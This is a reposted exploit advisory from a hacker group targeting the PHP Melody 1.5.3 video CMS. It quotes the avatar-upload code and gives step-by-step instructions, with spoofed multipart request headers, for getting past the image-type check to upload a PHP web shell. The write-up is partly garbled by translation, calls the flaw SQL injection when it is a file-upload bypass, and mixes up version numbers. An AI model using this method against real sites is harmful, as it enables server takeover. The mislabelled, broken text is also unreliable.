PHP Melody 1.5.3 remote injection upload file

Source: Internet
Author: User

PHP Melody 1.5.3 remote injection upload file
---------------------------------------------------
######################################## ###########
[+] Author: Chip D3 Bi0s
[+] Email: chipdebios [alt + 64] gmail.com
[+] Group: LatinHackTeam
[+] Vulnerability: SQL injection
######################################## ###########

--------- Info Cms ----------------
Name: PHP Melody version 1.5.2
Email: support@phpsugar.com
Dowloand: http://www.phpsugar.com
Web: http://www.phpsugar.com
Price: $39 USD
---------------------------------

File: Upload_avatar.php

37. if (preg_match ("/. jpg/I", "$ filein "))
38 .{
39. $ format = image/jpeg;
40 .}
41. if (preg_match ("/. gif/I", "$ filein "))
42 .{
43. $ format = image/gif;
44 .}
45. if (preg_match ("/. png/I", "$ filein "))
46 .{
47. $ format = image/png;
48 .}
49. switch ($ format)
50 .{
51. case image/jpeg:
52. $ image = imagecreatefromjpeg ($ filein );
53. break;
54. case image/gif;
55. $ image = imagecreatefromgif ($ filein );
56. break;
57. case image/png:
58. $ image = imagecreatefrompng ($ filein );
59. break;
60 .}
------------
136. $ url = $ _ FILES [imagefile] [name]; // Set $ url To Equal The Filename For Later Use
137. if ($ _ FILES [imagefile] [type] = "image/png" | $ _ FILES [imagefile] [type] = "image/gif" | $ _ FILES [imagefile] [type] = "image/jpg" | $ _ FILES [imagefile] [type] = "image/jpeg" | $ _ FILES [imagefile] [type] = "image/pjpeg ") {
138. $ file_ext = strrchr ($ _ FILES [imagefile] [name],.); // Get The File Extention In The Format Of, For Instance ,. jpg ,. gif or. php

--------------------------------
Explanation:
 
According to the code it does is see if the http, it is
Image/jpeg; image/gif; image/png;
If not upload

How to exploit:
You must first register
Then upload the avatar you ever so upload_avatar.php
There will have to change the header

Header with a proper imagen.gif looks like

----------------------------- 191691572411478
Content-Disposition: form-data; name = "imagefile"; filename = "imagen.gif"
Content-Type: image/gif

The header when you upload a shell. php looks like

----------------------------- 191691572411478
Content-Disposition: form-data; name = "imagefile"; filename = "shell. php"
Content-Type: application/octet-stream

 
Then just change it and let q and so can upload *. php

----------------------------- 191691572411478
Content-Disposition: form-data; name = "imagefile"; filename = "shell. php"
Content-Type: application/octet-stream

Special greetings to my brother d4ng3r ;)
++
[!] Produced in South America
---------------------------------

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.